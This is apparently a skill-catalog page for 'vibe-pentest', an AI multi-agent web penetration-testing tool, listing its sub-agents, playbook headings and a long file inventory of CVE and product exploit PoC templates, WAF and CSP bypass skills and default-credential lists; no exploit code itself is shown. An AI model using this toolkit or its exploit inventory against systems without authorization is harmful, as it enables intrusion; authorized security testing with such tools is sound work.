Not in the top 1,000 by GitHub stars
ok-helloworld/vibe-pentest
Vibe Pentest 是一款模拟人类安全专家思维挖掘漏洞的 AI 渗透测试工具,采用多 Agent 并行执行架构,能够对 Web 应用、API、管理后台等进行全面的渗透测试(包括业务逻辑漏洞评估),输出稳定可靠的安全报告,并提供可落地的整改建议。
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
agents/api-agent/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
agents/auth-agent/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
agents/business-agent/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
agents/file-agent/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
agents/injection-agent/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
agents/misc-agent/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
agents/poc-agent/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
agents/vuln-analysis-agent/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
references/pentest_skills/auth-bypass-techniques/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
references/pentest_skills/business-logic-vulnerabilities/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
references/pentest_skills/csp-bypass-advanced/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
references/pentest_skills/ghost-bits-cast-attack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
references/pentest_skills/http-parameter-pollution/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
references/pentest_skills/request-smuggling/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
references/pentest_skills/sqli-sql-injection/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
references/pentest_skills/waf-bypass-techniques/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
references/pentest_skills/xss-cross-site-scripting/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
0b80fbf18d48 → 0b80fbf18d48
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 0b80fbf18d48
No earlier version was observed for comparison.
Heat
5.2- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
- vibe-pentest
/ - api-agent
agents/api-agent - auth-agent
agents/auth-agent - business-agent
agents/business-agent - file-agent
agents/file-agent - injection-agent
agents/injection-agent - misc-agent
agents/misc-agent - poc-agent
agents/poc-agent - vuln-analysis-agent
agents/vuln-analysis-agent - auth-bypass-techniques
references/pentest_skills/auth-bypass-techniques - business-logic-vulnerabilities
references/pentest_skills/business-logic-vulnerabilities - csp-bypass-advanced
references/pentest_skills/csp-bypass-advanced - ghost-bits-cast-attack
references/pentest_skills/ghost-bits-cast-attack - http-parameter-pollution
references/pentest_skills/http-parameter-pollution - request-smuggling
references/pentest_skills/request-smuggling - sqli-sql-injection
references/pentest_skills/sqli-sql-injection - waf-bypass-techniques
references/pentest_skills/waf-bypass-techniques - xss-cross-site-scripting
references/pentest_skills/xss-cross-site-scripting
How it works
vibe-pentest
When your agent uses it
AI 渗透测试:多 Agent 并行架构的 Web 应用渗透测试技能。 流程: 指纹识别 → 后台入口扫描 → API 预扫描 → 浏览器登录提取凭证(可选) → GoSpider 爬虫 → 过滤数据 → 指纹汇总 → 多 Agent 并行渗透测试 → 攻击链分析 → 漏洞证据复查 → 生成报告。
What it loads into context
Frontmatter
137 tokensAlways available to the agent
SKILL.md
10,122 tokensWhen the skill is activated
Reference documents
43,373 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 启动前快速 Git 自更新
- 启动前运行子 Agent 创建脚本
- 启动前创建本次任务工作目录
- SKILL 目录结构(全部使用相对路径)
- 架构总览
- 工作流程
- HTTP 发包工具(强制优先)
- OOB/DNS 回调验证工具
- 安全规则
- 反幻觉规则
Scripts executed separately
report_renderers/generate_html.pyreport_renderers/generate_word.pyreport_renderers/vendor/chart.umd.min.jsreport_renderers/vendor/chartjs-plugin-datalabels.min.jsscripts/admin_scanner.pyscripts/api_discovery.pyscripts/auto_update_skill.pyscripts/clean_targets.pyscripts/deduplicate.pyscripts/deserialization_payload.pyscripts/dnslog.pyscripts/extract_credentials.pyscripts/generate_report.pyscripts/http_test.pyscripts/install_sub_agents.pyscripts/poc_search.pyscripts/prepare_agent_findings.pyscripts/run_api_prescan.pyscripts/run_fingerprint.pyscripts/run_gospider.pyscripts/runtime_status.pyscripts/sensitive_extract.pyscripts/verify_findings.pyscripts/workspace_env.pyscripts/ws_test.py
Files
LICENSEasset34,523 bytesREADME.mddoc14,549 bytesREADME_EN.mddoc17,048 bytesReport_Template_pikachu_v1.0.htmlasset420,619 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesSKILL.mdcore36,926 bytesconfig/http_test.jsonasset135 bytesconfig/proxy_pool.txtdoc0 bytesconfig/proxy_usage.mddoc2,254 bytespocs/POC_SEARCH_SOURCES_USER.mddoc436 bytespocs/README.mddoc17,106 bytespocs/public/360tianqin-rptsvr-fileupload.yamlasset2,191 bytespocs/public/AOFA_checkingin_SQL.yamlasset2,209 bytespocs/public/AlibabaNacos_v1_CVE-2021-29441_AuthBypass.yamlasset1,772 bytespocs/public/Anheng-minyu-waf_report_ArbitraryUserLogin.yamlasset1,191 bytespocs/public/ApacheSolr_CVE-2021-27905_SSRF.yamlasset2,044 bytespocs/public/Apache_ActiveMQ_CVE-2026-34197_RCE.yamlasset3,003 bytespocs/public/Apache_Solr_Arbitrary_file_read.yamlasset1,121 bytespocs/public/Apache_Solr_collections.yamlasset1,061 bytespocs/public/AvaVideos_SingleUpload_Servlet_File_Upload.yamlasset2,763 bytespocs/public/CJT_DownLoadBlockFile_fileRead.yamlasset1,725 bytespocs/public/CJT_SimulationLoginNew_SQL.yamlasset1,614 bytespocs/public/CNVD-2022-03672.yamlasset1,345 bytespocs/public/CVE-2015-7501.yamlasset2,283 bytespocs/public/CVE-2017-17562.yamlasset2,613 bytespocs/public/CVE-2017-7921.yamlasset1,759 bytespocs/public/CVE-2018-1207.yamlasset1,317 bytespocs/public/CVE-2018-19911.yamlasset2,399 bytespocs/public/CVE-2018-2392.yamlasset3,141 bytespocs/public/CVE-2019-15043.yamlasset1,733 bytespocs/public/CVE-2020-14883.yamlasset3,104 bytespocs/public/CVE-2020-23575.yamlasset1,363 bytespocs/public/CVE-2021-27358.yamlasset1,656 bytespocs/public/CVE-2021-33044.yamlasset1,892 bytespocs/public/CVE-2021-37304.yamlasset1,207 bytespocs/public/CVE-2021-37305.yamlasset1,399 bytespocs/public/CVE-2021-39226.yamlasset1,993 bytespocs/public/CVE-2022-0735.yamlasset6,431 bytespocs/public/CVE-2022-24816.yamlasset4,520 bytespocs/public/CVE-2022-36883.yamlasset1,481 bytespocs/public/CVE-2023-28432.yamlasset1,935 bytespocs/public/CVE-2023-50292.yamlasset1,326 bytespocs/public/CVE-2024-34351.yamlasset1,266 bytespocs/public/CVE-2024-42327.yamlasset1,960 bytespocs/public/CVE-2025-30220.yamlasset1,666 bytespocs/public/CVE-2025-31486.yamlasset2,052 bytespocs/public/CVE-2025-3415.yamlasset1,341 bytespocs/public/CVE-2025-55182.yamlasset5,787 bytespocs/public/CVE-2025-58360.yamlasset2,891 bytespocs/public/CVE-2026-27944.yamlasset1,530 bytespocs/public/Command-Execution-Vulnerability-in-Hikvision-Operations-Management-Center.yamlasset7,262 bytespocs/public/Dahua-image-ssrf.yamlasset966 bytespocs/public/Dahua_ICC_serviceName_SQL.yamlasset2,145 bytespocs/public/Dify_upload_ssrf.yamlasset1,160 bytespocs/public/Druid-Monitor_weak-pass.yamlasset1,399 bytespocs/public/FE-ProxyServletUti-fileread.yamlasset2,921 bytespocs/public/FQ_attachment_fileRead.yamlasset1,964 bytespocs/public/FW-E-Mobilecdnfile-fileRead.yamlasset2,234 bytespocs/public/FW_E-CologyLogin_security_key_infoleak.yamlasset1,891 bytespocs/public/FW_cnhutoolcoreutilRuntimeUtil_RCE.yamlasset2,243 bytespocs/public/FW_getEmDsList_infoleak.yamlasset1,480 bytespocs/public/FineReport_ReportSever_sqli.yamlasset1,961 bytespocs/public/GB28181_Camera_unauthorized_access.yamlasset1,456 bytespocs/public/GXRLZY-ReportServer-info.yamlasset1,643 bytespocs/public/GitLab-CVE-2021-22205.yamlasset2,408 bytespocs/public/Grafana_infoleak.yamlasset1,513 bytespocs/public/H3C-iMC-ViewState-RCE.yamlasset3,863 bytespocs/public/H3C-iMC-autoDeploy-RCE.yamlasset3,890 bytespocs/public/HST_Meeting_upLoad2jsp_File_Upload.yamlasset2,309 bytespocs/public/Harbor_Unauthorized_Access.yamlasset1,624 bytespocs/public/Hikvision-CVE-2021-36260.yamlasset1,867 bytespocs/public/Hikvision-iSecure-Center-RCE.yamlasset1,617 bytespocs/public/Hikvision_iSecure_Center_applyST_RCE.yamlasset5,129 bytespocs/public/InfluxDB_CVE-2019-20933_SQL.yamlasset1,933 bytespocs/public/JBoss-CVE-2017-12149.yamlasset3,565 bytespocs/public/Kingdee-Cloud-READ.yamlasset1,103 bytespocs/public/Kingdee-EAS_easWebClient_Arbitrary_File_Download_Vulnerability.yamlasset1,826 bytespocs/public/Kingdee-FileproxyHandler-fileRead.yamlasset1,933 bytespocs/public/Kingdee-erp-Unserialize-RCE.yamlasset33,518 bytespocs/public/Kingdee-erp_DynamicFormService_rce.yamlasset34,197 bytespocs/public/Kingdee_EAS_readfile.yamlasset1,959 bytespocs/public/MSService-init_do-SQL.yamlasset1,654 bytespocs/public/MinIO_default_password_vulnerability.yamlasset937 bytespocs/public/NC-cloud-RCE-jsinvoke.yamlasset1,401 bytespocs/public/Nacos_Access_control_error(CVE-2021-29442).yamlasset1,349 bytespocs/public/Nacos_weak-pass_CNVD-2021-24491.yamlasset1,061 bytespocs/public/OfficeWeb365_Pic_Indexs_fileread.yamlasset1,557 bytespocs/public/OfficeWeb365_ssrf_upload.yamlasset1,764 bytespocs/public/PHP_CGI_Windows_rce.yamlasset3,627 bytespocs/public/PH_OfficeService_SSRF.yamlasset1,116 bytespocs/public/PH_Powerpms_Transfer_info.yamlasset1,458 bytespocs/public/RJ_EWEB_timeout_fileupload.yamlasset2,729 bytespocs/public/RJ_eweb_ipam_fileRead.yamlasset2,061 bytespocs/public/Ruijie_Eweb_CNVD-2021-09650_RCE.yamlasset1,713 bytespocs/public/SH-SMGSuperAdmin-info.yamlasset1,611 bytespocs/public/SLJF_SYS_down-load_fileRead.yamlasset2,354 bytespocs/public/SPON-IP-addmediadata-uploadfile.yamlasset2,757 bytespocs/public/SPON_Intercom_addscenedata_Fileupload.yamlasset1,836 bytespocs/public/SPON_Intercom_my_parser_Fileupload.yamlasset1,856 bytespocs/public/SPON_rj_get_token_fileRead.yamlasset1,543 bytespocs/public/SXF_netConfig_set_port_RCE.yamlasset2,405 bytespocs/public/Shenlan-proxy-FileRead.yamlasset2,933 bytespocs/public/Solr_Unauth.yamlasset1,397 bytespocs/public/Sponip_Network_System_infoleak.yamlasset1,121 bytespocs/public/Stirling_PDF_CVE-2025-55150_SSRF.yamlasset1,573 bytespocs/public/Synway-SMG-Gateway-ArbitraryFileRead.yamlasset1,544 bytespocs/public/TNTC-GetPasswayData-SQL.yamlasset1,758 bytespocs/public/TNTC-GetVideo-sqli.yamlasset1,700 bytespocs/public/TPLUS_AccountClearControler_SQL.yamlasset1,824 bytespocs/public/UniNXG_poserver_fileread.yamlasset1,552 bytespocs/public/VMware_vCenter_Server_CVE-2021-21985_RCE.yamlasset1,412 bytespocs/public/Vben-Admin_YBM.yamlasset2,876 bytespocs/public/WebLogic_CVE-2022-21371_LocalFileInclusion.yamlasset1,273 bytespocs/public/XFZXT-GetCalendarContentById-SQL.yamlasset2,652 bytespocs/public/XXL-JOB_UnauthorizedAccess.yamlasset2,867 bytespocs/public/YONYOU_ERP_NC_direclory_traversal.yamlasset1,229 bytespocs/public/YYCJT-TPlus-CheckMutex-SQL.yamlasset1,743 bytespocs/public/YYCJT-TPlus-FileUploadHandler-fileUpload.yamlasset2,194 bytespocs/public/YYNC_DocServlet_fileRead.yamlasset2,059 bytespocs/public/YYNC_PaWfm_open_SQL.yamlasset1,898 bytespocs/public/YYNC_content_XXE.yamlasset1,730 bytespocs/public/YYNC_deleteEvent_SQL.yamlasset2,293 bytespocs/public/YYNC_doSingUp_SQL.yamlasset2,125 bytespocs/public/YYNC_getBapTableDatas_SQL.yamlasset3,038 bytespocs/public/YYNC_importCombo_XML.yamlasset1,864 bytespocs/public/YYNC_importExcelTemplate_fileUpload.yamlasset1,968 bytespocs/public/YYNC_listUserSharingEvents_SQL.yamlasset1,819 bytespocs/public/YYNC_nc5x_fwd_XSS.yamlasset1,955 bytespocs/public/YYNC_portalpage_XXE.yamlasset1,926 bytespocs/public/YYNC_redeploy_SQL.yamlasset1,659 bytespocs/public/YYNC_saveProDefServlet_XXE.yamlasset1,744 bytespocs/public/YYNC_uncancelEvent_SQL.yamlasset2,012 bytespocs/public/YY_RRATableController_rce.yamlasset2,419 bytespocs/public/YY_TPlus_SSRF.yamlasset1,107 bytespocs/public/YonBIP_admin_Passreset.yamlasset3,391 bytespocs/public/YongYou_NC_IPsndocExportToCrmService_XXE.yamlasset1,367 bytespocs/public/YongYou_NC_registerServlet_JNDI_rce.yamlasset1,260 bytespocs/public/YongYou_judgeCompatibleEvent_sqli.yamlasset1,633 bytespocs/public/YongYou_nc_cloud_INtbOBAWebService_xxe.yamlasset1,348 bytespocs/public/YongYou_nc_cloud_soapFormat_xxe.yamlasset3,000 bytespocs/public/YongYou_nc_loadDoc_fileread.yamlasset1,317 bytespocs/public/YongYou_nc_saveDoc_upload.yamlasset1,907 bytespocs/public/Yongyou_NC_bill_sqli.yamlasset1,771 bytespocs/public/Yongyou_U8_Cloud_XChangeServlet_xxe.yamlasset1,386 bytespocs/public/ZYOA-m3-API-info.yamlasset1,661 bytespocs/public/activemq-cve-2016-3088.yamlasset1,699 bytespocs/public/activemq-default-password.yamlasset1,211 bytespocs/public/alibaba-druid-unauth.yamlasset640 bytespocs/public/apache-flink-unauth-rce.yamlasset1,339 bytespocs/public/apache-solr-file-read.yamlasset1,750 bytespocs/public/chanjet-getdefaultbackpath-unauth.yamlasset974 bytespocs/public/chanjet-tplus-ufida-sqli.yamlasset1,749 bytespocs/public/chanjet_TPlus_keyEdit_sqli.yamlasset2,120 bytespocs/public/dahua_DSS_getAttList_sqli.yamlasset3,345 bytespocs/public/dahua_dss_clearTempFile_sqli.yamlasset3,357 bytespocs/public/dahua_unauthorized.yamlasset1,057 bytespocs/public/dubbo-admin-default-password.yamlasset1,484 bytespocs/public/easycorp_zentao_pms_idor.yamlasset2,498 bytespocs/public/elasticsearch-cve-2015-1427.yamlasset1,636 bytespocs/public/elasticsearch_unauthorized_access.yamlasset843 bytespocs/public/fe_enterprise_login_bypass.yamlasset1,654 bytespocs/public/fe_uploadattachmentservlet_fileupload.yamlasset1,902 bytespocs/public/fnOS_fileRead.yamlasset1,683 bytespocs/public/geoserver-default-login.yamlasset1,265 bytespocs/public/gitlab-ssrf-cve-2021-22214.yamlasset1,366 bytespocs/public/glodon-console-default-login.yamlasset1,360 bytespocs/public/go-pprof-leak.yamlasset1,212 bytespocs/public/goldlib-upload-upload.yamlasset1,929 bytespocs/public/grafana-default-login.yamlasset1,416 bytespocs/public/hadoop-yarn-new-application-unauth.yamlasset1,373 bytespocs/public/hadoop-yarn-unauth.yamlasset1,136 bytespocs/public/hikvision-isecure-center-arbitrary-file-upload.yamlasset1,213 bytespocs/public/hikvision-isecure-center-report-arbitrary-file-upload.yamlasset1,427 bytespocs/public/hikvision_isecure_center_files_fileread.yamlasset2,449 bytespocs/public/hongfan-ioffice-ioAssistance-rce.yamlasset3,292 bytespocs/public/hongfan-ioffice-ioAssistance2-rce.yamlasset3,399 bytespocs/public/hongfan-ioffice-zyy_attfile-sqli.yamlasset1,932 bytespocs/public/hongfan_ioffice_fileread.yamlasset1,062 bytespocs/public/iis-put-getshell.yamlasset1,127 bytespocs/public/jboss-unauth.yamlasset937 bytespocs/public/jboss_4.2_to_4.3_info_disclosure.yamlasset862 bytespocs/public/jboss_4.x_cmd_exec_CVE_2017_7504.yamlasset3,100 bytespocs/public/jboss_all_weak_pass.yamlasset1,693 bytespocs/public/jeecg-boot-getdictItemsbytable-ssti-rce.yamlasset1,196 bytespocs/public/jenkins_unauthorized_access_and_command_execution.yamlasset1,260 bytespocs/public/jira-cve-2019-11581.yamlasset1,800 bytespocs/public/jira-unauthenticated-dashboards.yamlasset1,137 bytespocs/public/jmx-default-login.yamlasset1,193 bytespocs/public/jupyter-lab-unauth.yamlasset879 bytespocs/public/jupyter-notebook-unauthorized-access.yamlasset989 bytespocs/public/kibana-unauth.yamlasset874 bytespocs/public/kingdee_Cloud_ServiceGateway_rce.yamlasset34,051 bytespocs/public/kingdee_erp_kdsvc_rce.yamlasset66,764 bytespocs/public/kingsoft-get_file_content-fileread.yamlasset888 bytespocs/public/kkFileView_CVE-2022-43140_SSRF.yamlasset1,186 bytespocs/public/kuboard-default-login-2.yamlasset2,720 bytespocs/public/kyocera-printer-default-login.yamlasset2,006 bytespocs/public/landray_EIS_UniformEntry_sqli.yamlasset2,151 bytespocs/public/microsoft-windows-httpsys-cve-2015-1635.yamlasset1,527 bytespocs/public/mqtt-weak-login.yamlasset2,254 bytespocs/public/nacos-derby-rce.yamlasset1,416 bytespocs/public/nacos_token_secret_key_bypass.yamlasset2,060 bytespocs/public/ollama-api-unauth.yamlasset2,018 bytespocs/public/phpmyadmin_setup_detect.yamlasset1,910 bytespocs/public/rabbitmq-default-password.yamlasset1,067 bytespocs/public/realor-AgentBoard-sqli.yamlasset1,656 bytespocs/public/ricoh-weak-password.yamlasset936 bytespocs/public/ruijie-eweb-auth-rce.yamlasset1,365 bytespocs/public/ruijie-nbr-ddi-arbitrary-file-upload.yamlasset1,104 bytespocs/public/ruoyi-default-login.yamlasset1,331 bytespocs/public/seeyon_oa_getajaxdataservlet_xxe.yamlasset3,137 bytespocs/public/seeyon_oa_ucpcLogin_reset.yamlasset1,530 bytespocs/public/shiro-deserialization-rce.yamlasset2,670 bytespocs/public/solr-cve-2019-0193.yamlasset2,799 bytespocs/public/solr-fileread.yamlasset2,423 bytespocs/public/solr-velocity-cve-2019-17558.yamlasset1,443 bytespocs/public/solr_rce.yamlasset2,790 bytespocs/public/spon-default-login.yamlasset1,242 bytespocs/public/spon-exportrecord-fileread.yamlasset1,417 bytespocs/public/spon-getjson-fileread.yamlasset1,124 bytespocs/public/spon-getuserdata-unauth.yamlasset1,168 bytespocs/public/spon-uploadjson-fileupload.yamlasset1,355 bytespocs/public/springboot_actuaor_unauthorized_access.yamlasset2,437 bytespocs/public/swagger-api.yamlasset3,708 bytespocs/public/thinkcmf-write-shell.yamlasset1,138 bytespocs/public/tomcat-default-login.yamlasset1,413 bytespocs/public/tomcat-examples-login.yamlasset1,239 bytespocs/public/unauthenticated-alert-manager.yamlasset571 bytespocs/public/unauthenticated-jenkins.yamlasset399 bytespocs/public/vite-cve-2026-39363-fileread.yamlasset1,930 bytespocs/public/vmware-vcenter-cve-2021-22005.yamlasset1,978 bytespocs/public/vmware-vcenter-jndi-rce.yamlasset1,577 bytespocs/public/weblogic-ssrf.yamlasset1,396 bytespocs/public/weblogic-weak-login.yamlasset1,506 bytespocs/public/xxljob-default-login.yamlasset1,330 bytespocs/public/yonyou-nc-word-fileread.yamlasset1,028 bytespocs/public/yonyou-nc-yerfile_down.yamlasset2,087 bytespocs/public/yonyouNC-checkekey-sqli.yamlasset2,033 bytespocs/public/yonyou_nc_doPost_SQL.yamlasset3,840 bytespocs/public/zabbix-default-login.yamlasset1,009 bytesreferences/common-paths.mddoc3,318 bytesreferences/dnslog-usage.mddoc7,666 bytesreferences/http-test-usage.mddoc13,896 bytesreferences/nuclei-templates-usage.mddoc11,549 bytesreferences/product-default-credentials.mddoc10,314 bytesreferences/report-json-format.mddoc6,773 bytesreferences/sub_agents/api-agent.mddoc3,684 bytesreferences/sub_agents/auth-agent.mddoc5,504 bytesreferences/sub_agents/business-agent.mddoc3,631 bytesreferences/sub_agents/file-agent.mddoc3,758 bytesreferences/sub_agents/injection-agent.mddoc3,816 bytesreferences/sub_agents/misc-agent.mddoc3,619 bytesreferences/sub_agents/poc-agent.mddoc4,897 bytesreferences/sub_agents/vuln-analysis-agent.mddoc3,909 bytesreferences/top100-passwords.txtdoc806 bytesreferences/ws-test-usage.mddoc8,827 bytesreport_renderers/generate_html.pyruns114,505 bytesreport_renderers/generate_word.pyruns41,545 bytesreport_renderers/vendor/chart.umd.min.jsruns200,807 bytesreport_renderers/vendor/chartjs-plugin-datalabels.min.jsruns12,937 bytesscripts/admin_scanner.pyruns41,519 bytesscripts/api_discovery.pyruns87,578 bytesscripts/auto_update_skill.pyruns12,339 bytesscripts/clean_targets.pyruns24,579 bytesscripts/deduplicate.pyruns10,959 bytesscripts/deserialization_payload.pyruns12,606 bytesscripts/dnslog.pyruns5,561 bytesscripts/extract_credentials.pyruns39,238 bytesscripts/fingerprints_rules/README.mddoc8,036 bytesscripts/fingerprints_rules/fingerprints_db.yamlasset279,943 bytesscripts/fingerprints_rules/waf_detect.yamlasset8,562 bytesscripts/generate_report.pyruns52,251 bytesscripts/http_test.pyruns66,357 bytesscripts/install_sub_agents.pyruns5,128 bytesscripts/poc_search.pyruns2,644 bytesscripts/prepare_agent_findings.pyruns28,243 bytesscripts/run_api_prescan.pyruns25,574 bytesscripts/run_fingerprint.pyruns75,325 bytesscripts/run_gospider.pyruns41,498 bytesscripts/runtime_status.pyruns3,754 bytesscripts/sensitive_extract.pyruns63,683 bytesscripts/verify_findings.pyruns19,431 bytesscripts/workspace_env.pyruns846 bytesscripts/ws_test.pyruns48,717 bytestools/gospider_downloads.jsonasset1,205 bytesvibe-pentest_en_v1.1.pngasset1,632,034 bytesvibe-pentest_v1.1.pngasset1,709,211 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubapi-agent
When your agent uses it
负责 API 安全类漏洞检测:未授权访问/BOLA/BFLA/批量赋值/GraphQL 深度测试/ API 参数篡改/隐藏参数发现/WebSocket 安全/API 版本枚举/ 过度数据暴露
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
5,657 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 角色身份
- 职责范围
- 接口资产类型(攻击面分类)
- 输入数据
- HTTP 发包工具(强制优先)
- WebSocket 发包工具(按需,默认不用)
- 白帽子职业操守(强制遵守)
- 漏洞渗透策略(强制执行)
- 辅助技能调用
- 输出格式
- 未传入 WORKSPACE_DIR 时的定位流程
- 反幻觉规则
Scripts executed separately
../../scripts/http_test.py../../scripts/ws_test.py
Files
SKILL.mdcore21,826 bytesSKILL.mdcore21,826 bytesSKILL.mdcore21,826 bytesSKILL.mdcore21,826 bytes../../scripts/http_test.pyruns66,357 bytes../../scripts/ws_test.pyruns48,717 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubauth-agent
When your agent uses it
负责认证与会话类漏洞检测:认证绕过/暴力破解/会话管理/OAuth/SAML/ 密码重置绕过/验证码绕过/不安全随机数/用户枚举/OIDC/CSRF。 受控密码测试为条件执行:根据用户授权、测试账号情况、验证码类型和登录保护强度自主决策。 泄露的 JWT/密钥/硬编码凭据由 api-agent 验证,不在本 Agent 职责内。
What it loads into context
Frontmatter
120 tokensAlways available to the agent
SKILL.md
6,248 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 角色身份
- 职责范围
- 输入数据
- HTTP 发包工具(强制优先)
